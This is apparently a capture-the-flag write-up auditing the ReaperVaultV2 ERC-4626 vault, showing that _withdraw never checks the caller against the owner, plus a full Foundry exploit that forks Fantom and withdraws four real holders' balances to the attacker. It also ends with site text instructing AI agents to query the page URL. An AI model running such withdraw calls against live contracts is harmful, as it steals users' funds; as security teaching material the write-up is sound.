# reaper

## Setup

Install Foundry:

```shell
curl -L https://foundry.paradigm.xyz | bash

foundryup
```

Git clone the reaper repo:

```shell
git clone git@github.com:ret2basic/reaper.git
```

Install dependencies, compile and run the test:

```shell
cd reaper

forge install
```

Compile and run the test:

```shell
forge test
```

This test will show `1 failed` since we have not solved the challenge yet. Once we code up our solution in `reaper/test/ReaperHack.t.sol`, we can run `forge test` to check the solution.

## Code Audit

### Overview

Open `reaper/src/ReaperVaultV2.sol` in Visual Studio. The contract inheritance tells us many things:

```solidity
contract ReaperVaultV2 is IERC4626, ERC20, ReentrancyGuard, AccessControlEnumerable {...}
```

1. This contract inherits ERC4626 - Tokenized Vaults
2. This contract inherits ERC20 - Fungible Tokens
3. This contract is unlikely to be vulnerable to reentrancy attack

### Digress: ERC-4626 Rounding Issue

Here we digress a bit from the reaper contract. Regarding ERC-4626, we should know the following things:

* What is vault
* Why ERC-4626
* ERC-4626 Rounding Issue

#### Vault and ERC-4626

A **vault** is a multi-sig solution or smart contract that can store and manage assets such as crypto. Each vault always has the tokens it generates as a form of returns. These generated tokens can later be exchanged for tokens that were originally locked in vaults.

The problem developers face concerning yield-bearing tokens is integrating tokens of different protocols. Before ERC-4626, developers have to research a bunch of protocols and figure out how to stitch them together. This can be a pain in the ass and it is also error-prone.

The main benefit of **ERC-4626** is that it standardizes tokenized vaults to make protocol integration easier and less prone to error. Since there is a common standard that you can integrate, there is no actual need to build separate adapters any longer. In a nutshell, it quickens development; composability at its peak.

{% embed url="<https://www.alchemy.com/overviews/erc-4626>" %}
What is the ERC-4626 token standard? - alchemy
{% endembed %}

#### ERC-4626 Rounding Issue

The **ERC-4626 rounding issue** often appears in Code4rena reports, for example:

{% embed url="<https://code4rena.com/reports/2022-06-notional-coop#h-01-rounding-issues-in-certain-functions>" %}
Notional x Index Coop Findings & Analysis Report
{% endembed %}

### `deposit()` and `withdraw()` Functions

For ERC20-like contracts, the `deposit()` and `withdraw()` functions are likely to be vulnerable since they are directly associated with transactions, hence directly associated with user's money.

#### `deposit()`

```solidity
function deposit(uint256 assets, address receiver) public nonReentrant returns (uint256 shares) {
	require(!emergencyShutdown, "Cannot deposit during emergency shutdown");
	require(assets != 0, "please provide amount");
	uint256 _pool = totalAssets();
	require(_pool + assets <= tvlCap, "vault is full!");
	shares = previewDeposit(assets);

	IERC20Metadata(asset).safeTransferFrom(msg.sender, address(this), assets);
	
	_mint(receiver, shares);
	emit Deposit(msg.sender, receiver, assets, shares);
}
```

This function is simple enough:

1. It checks if the contract is in "emergency shutdown" state
2. It checks if the `assets` argument is 0
3. It checks if the pool is reaching its capacity
4. It collects token from the user and mints corresponding shares back to the user

The implementation seems correct.

#### `withdraw()`

```solidity
function withdraw(uint256 assets, address receiver, address owner) external nonReentrant returns (uint256 shares) { // @audit-issue withdraw
	require(assets != 0, "please provide amount");
	shares = previewWithdraw(assets);
	_withdraw(assets, shares, receiver, owner);
	return shares;
}
```

This function is a wrapper of `_withdraw()`. We should audit that function instead.

#### `_withdraw()`

```solidity
function _withdraw(uint256 assets, uint256 shares, address receiver, address owner) internal returns (uint256) { // @audit _withdraw
	_burn(owner, shares);

	if (assets > IERC20Metadata(asset).balanceOf(address(this))) {
		uint256 totalLoss = 0;
		uint256 queueLength = withdrawalQueue.length;
		uint256 vaultBalance = 0;
		
		for (uint256 i = 0; i < queueLength; i = _uncheckedInc(i)) {
			vaultBalance = IERC20Metadata(asset).balanceOf(address(this));
			if (assets <= vaultBalance) {
				break;
			}

			address stratAddr = withdrawalQueue[i];
			uint256 strategyBal = strategies[stratAddr].allocated;
			if (strategyBal == 0) {
				continue;
			}

			uint256 remaining = assets - vaultBalance;
			uint256 loss = IStrategy(stratAddr).withdraw(Math.min(remaining, strategyBal));
			uint256 actualWithdrawn = IERC20Metadata(asset).balanceOf(address(this)) - vaultBalance;

			// Withdrawer incurs any losses from withdrawing as reported by strat
			if (loss != 0) {
				assets -= loss;
				totalLoss += loss;
				_reportLoss(stratAddr, loss);
			}

			strategies[stratAddr].allocated -= actualWithdrawn;
			totalAllocated -= actualWithdrawn;
		}

		vaultBalance = IERC20Metadata(asset).balanceOf(address(this));
		if (assets > vaultBalance) {
			assets = vaultBalance;
		}

		require(totalLoss <= ((assets + totalLoss) * withdrawMaxLoss) / PERCENT_DIVISOR, "Cannot exceed the maximum allowed withdraw slippage");
	}

	IERC20Metadata(asset).safeTransfer(receiver, assets);
	emit Withdraw(msg.sender, receiver, owner, assets, shares);
	return assets;
}
```

The vulnerability is pretty obvious: **this function never verifies whether `msg.sender` is the owner or not.** As a result, an attacker can feed his/her own address into this `receiver` field and specify any account to be the `owner`. When the `withdraw()` function is called, all the money in the vicitm account will be transferred to the attacker's account.

## Solution

To exploit this vulnerability, we are going to look for some "rich" addresses and steal money from them by calling the `withdraw()` function.

First, we go to the [vault](https://ftmscan.com/address/0x77dc33dc0278d21398cb9b16cbff99c1b712a87a) and hunt for some "rich" addresses. Click on "DAI Crypt (rfDAI)":

<figure><img src="/files/xPx6gq7aQ6kjHXCnKJkQ" alt=""><figcaption><p>DAI Crypt (rfDAI)</p></figcaption></figure>

Grab a few addresses with large "Quantity" field:

<figure><img src="/files/W2ZViLtAGk2aeKjuuDRW" alt=""><figcaption><p>Addresses with large Quantity field</p></figcaption></figure>

Make sure you click into the address and copy the address in "correct" format. The correct address format **contains uppercase letters**, for example:

<figure><img src="/files/ZyDsCtvJT41AHSfeq3E0" alt=""><figcaption><p>Correct address format</p></figcaption></figure>

Next, we want to figure out how much money they have in these addresses. To do this, we use the `reaper.balanceOf()` function:

```solidity
// Enumerate account balance
console.log("balance of account 1: ", reaper.balanceOf(0xB573f01f2901c0dB3E14Ec80C6E12e4868DEC864)/1e18);
console.log("balance of account 2: ", reaper.balanceOf(0x954773dD09a0bd708D3C03A62FB0947e8078fCf9)/1e18);
console.log("balance of account 3: ", reaper.balanceOf(0xfc83DA727034a487f031dA33D55b4664ba312f1D)/1e18);
console.log("balance of account 4: ", reaper.balanceOf(0xEB7a12fE169C98748EB20CE8286EAcCF4876643b)/1e18);
```

Here we divide each balance by `1e18` to convert wei to ether.

Use the following command to compile the contract and see the output of `console.log()`:

```shell
forge test -vv
```

<figure><img src="/files/UJTHAYuQpYRY8iHNpv1W" alt=""><figcaption><p>Account balance</p></figcaption></figure>

We will satisfy the 400k DAI requirement if we steal all money from these 4 addresses.

Finally, we are going to steal money from these addresses by calling a series of `withdraw()` functions:

```solidity
// withdraw(uint256 assets, address receiver, address owner)
reaper.withdraw(reaper.balanceOf(0xB573f01f2901c0dB3E14Ec80C6E12e4868DEC864), address(this), 0xB573f01f2901c0dB3E14Ec80C6E12e4868DEC864);
reaper.withdraw(reaper.balanceOf(0x954773dD09a0bd708D3C03A62FB0947e8078fCf9), address(this), 0x954773dD09a0bd708D3C03A62FB0947e8078fCf9);
reaper.withdraw(reaper.balanceOf(0xfc83DA727034a487f031dA33D55b4664ba312f1D), address(this), 0xfc83DA727034a487f031dA33D55b4664ba312f1D);
reaper.withdraw(reaper.balanceOf(0xEB7a12fE169C98748EB20CE8286EAcCF4876643b), address(this), 0xEB7a12fE169C98748EB20CE8286EAcCF4876643b);
```

Run `forge test` to verify our solution:

<figure><img src="/files/ue0isVWw6YvJ2DLS4GYS" alt=""><figcaption><p>reaper test passed</p></figcaption></figure>

To summarize, here is the complete solution code snipet:

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "../src/ReaperVaultV2.sol";

interface IERC20Like {
    function balanceOf(address _addr) external view returns (uint);
}

contract CounterTest is Test {
    ReaperVaultV2 reaper = ReaperVaultV2(0x77dc33dC0278d21398cb9b16CbFf99c1B712a87A);
    IERC20Like fantomDai = IERC20Like(0x8D11eC38a3EB5E956B052f67Da8Bdc9bef8Abf3E);

    function testReaperHack() public {
        vm.createSelectFork(vm.envString("FANTOM_RPC"), 44000000);
        console.log("Your Starting Balance:", fantomDai.balanceOf(address(this)));
        
        // INSERT EXPLOIT HERE

        // Enumerate account balance
        console.log("balance of account 1: ", reaper.balanceOf(0xB573f01f2901c0dB3E14Ec80C6E12e4868DEC864)/1e18);
        console.log("balance of account 2: ", reaper.balanceOf(0x954773dD09a0bd708D3C03A62FB0947e8078fCf9)/1e18);
        console.log("balance of account 3: ", reaper.balanceOf(0xfc83DA727034a487f031dA33D55b4664ba312f1D)/1e18);
        console.log("balance of account 4: ", reaper.balanceOf(0xEB7a12fE169C98748EB20CE8286EAcCF4876643b)/1e18);

        // withdraw(uint256 assets, address receiver, address owner)
        reaper.withdraw(reaper.balanceOf(0xB573f01f2901c0dB3E14Ec80C6E12e4868DEC864), address(this), 0xB573f01f2901c0dB3E14Ec80C6E12e4868DEC864);
        reaper.withdraw(reaper.balanceOf(0x954773dD09a0bd708D3C03A62FB0947e8078fCf9), address(this), 0x954773dD09a0bd708D3C03A62FB0947e8078fCf9);
        reaper.withdraw(reaper.balanceOf(0xfc83DA727034a487f031dA33D55b4664ba312f1D), address(this), 0xfc83DA727034a487f031dA33D55b4664ba312f1D);
        reaper.withdraw(reaper.balanceOf(0xEB7a12fE169C98748EB20CE8286EAcCF4876643b), address(this), 0xEB7a12fE169C98748EB20CE8286EAcCF4876643b);

        console.log("Your Final Balance:", fantomDai.balanceOf(address(this)));
        assert(fantomDai.balanceOf(address(this)) > 400_000 ether);
    }
}
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ret2basic.gitbook.io/ctfwriteup/web3-ctf/unhacked/reaper.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
